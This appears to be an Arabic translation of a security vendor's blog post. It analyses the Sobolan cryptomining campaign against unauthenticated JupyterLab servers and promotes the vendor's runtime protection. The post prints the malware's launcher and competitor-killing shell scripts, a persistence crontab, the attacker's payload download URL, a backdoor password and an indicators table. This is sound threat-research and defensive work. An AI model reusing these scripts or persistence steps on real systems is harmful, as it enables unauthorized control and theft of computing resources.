اكتشف باحثو Aqua Nautilus حملة هجومية جديدة تستهدف بيئات الحوسبة التفاعلية مثل Jupyter Notebooks. يتكون الهجوم من مراحل متعددة، تبدأ بتنزيل ملف مضغوط من خادم بعيد. بمجرد التنفيذ، ينشر المهاجم العديد من الأدوات الضارة لاستغلال الخادم وتحقيق الاستمرارية. تشكل هذه الحملة خطرًا كبيرًا على البيئات السحابية الأصلية، لأنها تتيح الوصول غير المصرح به والتحكم طويل المدى في الأنظمة المخترقة.
في هذه المدونة، سنحدد مراحل الهجوم، ونناقش المخاطر المحتملة، ونقدم توصيات لتعزيز الأمان ومنع الاستغلال.
عبء العمل المهاجم
بيئات الحوسبة التفاعلية أو واجهات الكمبيوتر المحمول هي منصات مصممة لعلماء البيانات والمبرمجين لكتابة التعليمات البرمجية وتنفيذها وتحليلها بشكل تفاعلي. هناك العديد من المنتجات المتاحة، بما في ذلك Jupyter Notebook, JupyterLab, Apache Zeppelin, Google Colab, Databricks Notebooksوآخرون.
غالبًا ما تكون هذه البيئات متصلة بالإنترنت وتتطلب مصادقة للوصول إلى البيانات أو تنفيذ التعليمات البرمجية. ومع ذلك، قد يؤدي التكوين الخاطئ البسيط في بعض الأحيان إلى تعريض الخادم لنشاط ضار من قبل المتسللين.
رسم خريطة لتدفق الهجوم
الشكل 1: تدفق هجوم حملة سوبولان
حصل المهاجمون على إمكانية الوصول الأولي من خلال مثيل JupyterLab غير المصادق عليه، مما سمح لهم بنشر البرامج الضارة وأدوات التعدين. قاموا أولاً بتنزيل واستخراج أرشيف مضغوط يحتوي على 13 ملفًا ضارًا، تتكون من ملفات ثنائية ونصوص برمجية. بمجرد تنفيذها، بدأت هذه البرامج النصية عمليات متعددة لتأسيس الثبات، واختطاف موارد النظام من أجل تعدين العملات المشفرة، وتجنب الاكتشاف (كما هو موضح في الشكل 1).
ويتبع الهجوم الخطوات التالية:
- الوصول الأولي: يستغل المهاجم مثيل JupyterLab غير المصادق عليه.
- التنزيل والاستخراج: يتم تنزيل واستخراج ملف مضغوط (.tar)، مما يكشف عن 13 ملفًا ضارًا (7 ملفات ثنائية و6 نصوص برمجية).
- تنفيذ: يقوم المهاجم بتشغيل برنامج نصي للبدء، والذي يقوم بتشغيل خمسة ثنائيات إضافية ونصوص برمجية شل.
- المثابرة والتهرب: تبدأ البرامج النصية عمليات لإنشاء الثبات، واختطاف موارد النظام من أجل تعدين العملات المشفرة، وتجنب الاكتشاف.
في الأقسام التالية، سنقوم بتحليل كل مرحلة من مراحل الهجوم، وكيف اكتشف حل Aqua Runtime Protection التهديد، والخطوات المتخذة لمنعه. دعونا نستكشف كيف تمكن Aqua من الكشف والاستجابة الفعالة.
الخطوة 1: تخصيص موجز معلومات التهديدات
يمكننا تخصيص خلاصات معلومات التهديدات لتشملها IP addresses, DNS data، أو malicious file hashes. تسمح لك هذه الميزة بدمج مصادر معلومات التهديدات الخاصة بك في النظام الأساسي.
بالإضافة إلى ذلك، توفر Aqua خلاصة معلومات التهديدات الخاصة بها، استنادًا إلى أبحاث Nautilus، والتي يتم تحديثها باستمرار بأحدث الحملات التي تستهدف البيئات السحابية الأصلية.
الشكل 2: موجز معلومات التهديد المخصص لـ Aqua
الخطوة 2: تكوين سياسات وقت التشغيل
بالإضافة إلى ذلك، يمكنك تكوين سياسات وقت التشغيل على ثلاثة مستويات مختلفة: مجموعات الحاوية، والجهاز الظاهري (VM)، وKubernetes (k8s).
الشكل 3: سياسات وقت تشغيل Aqua
في هذه الحالة، قمنا بتكوين مستويات VM والحاوية لمنع تنفيذ الأحداث الضارة. على وجه التحديد، قمنا بتمكين مراقبة السلوك، ومنع الانجراف، واكتشاف الجذور الخفية، والتنفيذ بدون ملفات، إلى جانب عناصر التحكم الأمنية الأخرى المتوفرة في منصة Aqua.
الخطوة 3: تمكين سياسة الاستجابة وتخصيص مشغلات التنبيه
بالإضافة إلى ذلك، قمنا بإعداد سياسة استجابة لتنبيهنا عند اكتشاف برامج ضارة.
الشكل 4: تكوين سياسات الاستجابة الجديدة
يمكنك أيضًا تخصيص المشغل بناءً على قواعد سلوكية محددة وتطبيقها على صور محددة.
الشكل 5: تكوين مشغل سياسة استجابة Aqua
الخطوة 4: تكوين التنبيهات
وأخيرًا، يمكنك توزيع التنبيهات على مختلف التطبيقات والأنظمة الأساسية لتحسين الرؤية والاستجابة.
الشكل 6: قم بإعداد سياسة الاستجابة لإرسال التنبيهات إلى التطبيق أو النظام الأساسي المفضل لديك
الخطوة 5: التحقيق في الحادث
بمجرد أن نتلقى تنبيهًا بشأن حادث ما، يمكننا فحصه عرض الحادث. هنا، نلاحظ أربعة حوادث مصدرها مورد واحد خلال فترة زمنية قصيرة. يوفر هذا مؤشرًا قويًا على التطفل وتنفيذ أداة التشفير.
الشكل 7: أربع حوادث أمنية مصدرها مورد واحد خلال إطار زمني قصير
هذه المعلومات قيمة، لكنها لا توفر تحقيقًا كاملاً فيما حدث لحاويتنا. للحصول على رؤى أعمق، نحن بحاجة إلى الانتقال إلى مراجعة الشاشة وحدد التاريخ المناسب، 18 يناير.
الشكل 8: التدقيق الأمني الذي يوضح تفاصيل مسار الهجوم
الشكل 9: التدقيق الأمني يظهر الأحداث المحظورة
كما ترون، قامت منصة Aqua بالكشف عن وجمعت 4,199 حدثًا، مما يوفر صورة أوضح عن الهجوم. من بين هذه الأحداث، تم تصنيف 4 أحداث على أنها حوادث، و138 على أنها أحداث محظورة، و167 على أنها أحداث ناجحة، مما يعني أنه تم تنفيذها بنجاح ولم يتم حظرها بواسطة المنفذ.
تم جمع الأحداث المتبقية لتوفير سياق إضافي. على سبيل المثال، يمكننا ملاحظة فتح ملف أو تنفيذ عمليات، والتي قد لا تكون ضارة أو مشبوهة بطبيعتها. ومع ذلك، عند تحليلها جنبًا إلى جنب مع الحوادث، فإنها تقدم رؤى لا تقدر بثمن حول ما حدث في حاويتنا بعد بدء سلسلة الأحداث الخبيثة. أدناه يمكنك رؤية جميع الأحداث المحظورة.
ملخص تفصيلي للأحداث المحظورة
يمكنك أن ترى أنه تم حظر تنفيذ البرنامج النصي لـ Shell. في هذه الحالة المحددة، أحد البرامج النصية، lol، تم منعه من التشغيل بنجاح.
عندما يُسمح بتنفيذ الهجوم بالكامل، يقوم المهاجم بتنزيل ملف tar file من مكان بعيد(http://167.172.154.218/.sobo/temp.tar). بمجرد استخراجه، فإنه ينشر 13 ملفًا في الدليل /var/tmp/.lol11/.ICE-Temp، يتكون من 6 نصوص برمجية و7 ثنائيات.
تنفذ البرامج الضارة العديد من البرامج النصية والثنائيات أثناء محاولتها إخفاء نفسها والحفاظ على استمراريتها على الخادم.
#!/bin/bash
chattr +i /var/tmp/.ICE-Temp
./crazy > /dev/null 2>&1 & disown
./lol1 > /dev/null 2>&1 & disown
./lol > /dev/null 2>&1 & disown
./noob > /dev/null 2>&1 & disown
./run
# Define the process name for syst3md
syst3md_process="syst3md"
# Define the CPU threshold for killing processes
cpu_threshold=300
# Function to kill processes using over 100% CPU except syst3md
kill_high_cpu_processes() {
echo "Checking for processes using over $cpu_threshold% CPU..."
while read -r pid cpu; do
cpu="${cpu%.*}" # Remove decimal part
if [ "$pid" != "$$" ] && [ "$pid" != "$(pgrep -x "$syst3md_process")" ] && [ "$cpu" -gt "$cpu_threshold" ]; then
echo "Killing process $pid using $cpu% CPU..."
kill -9 "$pid"
fi
done < <(ps -e -o pid,%cpu --sort=-%cpu --no-headers)
}
# Main loop
while true; do
# Kill processes using over 100% CPU except for syst3md
kill_high_cpu_processes
# Sleep for a while before checking again
sleep 15
done
بداية النص الرئيسي (MD5: 4b94b70a58413e83dd5fd937862ad6dd) ينفذ العديد من البرامج النصية والثنائيات الأخرى، بما في ذلك Crazy (MD5: dac46d7fff94af972f02afc00fb5ee95), lol (MD5: 0eba5ce29c4baf4888bd2a9dd39fec0a), lol1 (MD5: 3242c1445baa1bb42418f534c468c817), noob (MD5: 89599bf56ee19e0693a7ad5b57c7eeaf)، وتشغيل (MD5: 6f2ad308cfca8ada83dddeff3550ff1b).
تم تصميم البرنامج النصي المجنون لإثبات الثبات وتقييد الوصول إلى الخادم. يقوم بتعديل ~/.bashrc ملف لتنفيذ مطالبة تسجيل دخول زائفة عندما يفتح المستخدم محطة طرفية. إذا قام المستخدم بإدخال كلمة المرور المشفرة (parola=”32y45873y2485324jh23“)، يتم منح الوصول؛ وإلا سيتم إنهاء الجلسة.
ال lol و lol1 البرامج النصية هي المسؤولة عن تشغيل عمال التشفير، pythonlol (MD5: 305f278eaf452f7e0b8d788e433278c6) و سوبولان (MD5: 7849983d77b052de90558feeefb3078d).
ال noob تم تصميم البرنامج النصي لإيقاف عمليات استخدام وحدة المعالجة المركزية العالية، ومن المحتمل أن يمنع التطبيقات الأخرى من التدخل في عملية تعدين العملات المشفرة.
بمجرد تنفيذ التشغيل الثنائي، تتم إعادة تسمية المهمة إلى bash. انه يتفقد .ssh credentials، يحاول (لكنه يفشل) تنزيل البرنامج النصي clear.sh، وينفذ binary apachlogs (MD5: 9e39b0a7baca08a77c4716e5581660b2). تقوم البرامج الضارة أيضًا بإنشاء ملفات تستخدم للإعداد cron jobs، مما يضمن استمرار التنفيذ والمثابرة على النظام المخترق.
# DO NOT EDIT THIS FILE - edit the master and reinstall. # (.tempo installed on Sat Jan 18 20:27:04 2025) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) * * * * * /var/tmp/.loll1/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown @monthly /var/tmp/.lol11/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown @reboot /var/tmp/.loll1/.ICE-Temp/apachelogs > /dev/null <&1 2>&1 & disown
Apachelogs تدير خدمة تقتل عمال التشفير المتنافسين وتنفذ binary ‘1’ (MD5: a6ae2651f951fe07f265b548474274b9) ، والذي يقوم بعد ذلك بتنفيذ syst3md (MD5: ca1543264c990b85310bcb879e43eb36). Syst3md هو عامل تشفير يحاول الاتصال بـ PostgreSQL قاعدة البيانات المرتبطة MiningOcean اِختِصاص.
عند التفتيش syst3md ثنائي، لا توجد مؤشرات على ذلك PostgreSQL الواردات مثل PQconnectdb, PQsetdbLogin, PQexec، أو PQfinish. يشير هذا إلى أنه يمكن استخدام المنفذ والعملية لإخفاء الاتصال بمجمع تعدين العملات المشفرة بدلاً من التفاعل الفعلي لقاعدة البيانات.
حالة الملف (MD5: 7989ea33ddede0ecf9f3e562aaa8a1c4) مصمم لتعديل ملف تكوين JSON، لكن لم يتم استخدامه في هذا الهجوم.
ملخص
يسلط هجوم البرامج الضارة Sobolan الضوء على التكتيكات المتطورة التي يستخدمها ممثلو التهديدات لاختراق بيئات الحوسبة التفاعلية مثل Jupyter Notebooks. من خلال استغلال التكوينات الخاطئة، ونشر آليات الثبات المتعددة، وتشغيل أدوات تعدين العملات المشفرة، يمكن للمهاجمين التأثير بشدة على أعباء العمل السحابية الأصلية. تعمل تقنية Aqua Runtime Protection على اكتشاف هذه التهديدات وحظرها والتخفيف من حدتها بشكل فعال من خلال الاستفادة من معلومات التهديدات في الوقت الفعلي وفحص البرامج الضارة وسياسات وقت التشغيل القابلة للتخصيص. يمكن للمؤسسات التي تستخدم Aqua تأمين بيئاتها بشكل استباقي ضد مثل هذه الهجمات، مما يضمن السلامة التشغيلية ومنع الوصول غير المصرح به. يعد البقاء يقظًا وتنفيذ ضوابط أمنية قوية أمرًا أساسيًا للدفاع ضد التهديدات السحابية الأصلية المتزايدة التعقيد.
مؤشرات التسوية (IOCs)
| يكتب | قيمة | ملحوظات |
|---|---|---|
| عنوان IP | ||
| عنوان IP | 37.201.213.226 | IP المهاجم |
| عنوان IP | 167.172.154.218 | تحميل الخادم |
| ملفات | ||
| ملف ثنائي | MD5: 305f278eaf452f7e0b8d788e433278c6 | com.pythonlol |
| ملف ثنائي | MD5: 7849983d77b052de90558feeeefb3078d | سوبولان |
| ملف ثنائي | MD5: 9e39b0a7baca08a77c4716e5581660b2 | apachlogs |
| ملف ثنائي | MD5: a6ae2651f951fe07f265b548474274b9 | 1 |
| ملف ثنائي | MD5: ca1543264c990b85310bcb879e43eb36 | syst3md |
| ملف ثنائي | MD5: 6f2ad308cfca8ada83dddeff3550ff1b | يجري |
| البرنامج النصي شل | MD5: 4b94b70a58413e83dd5fd937862ad6dd | يبدأ |
| البرنامج النصي شل | MD5:dac46d7fff94af972f02afc00fb5ee95 | مجنون |
| البرنامج النصي شل | MD5:0eba5ce29c4baf4888bd2a9dd39fec0a | مضحك جداً |
| البرنامج النصي شل | MD5: 3242c1445baa1bb42418f534c468c817 | lol1 |
| البرنامج النصي شل | MD5: 89599bf56ee19e0693a7ad5b57c7eeaf | مستجد |
| البرنامج النصي شل | MD5: 7989ea33ddede0ecf9f3e562aaa8a1c4 | حالة |
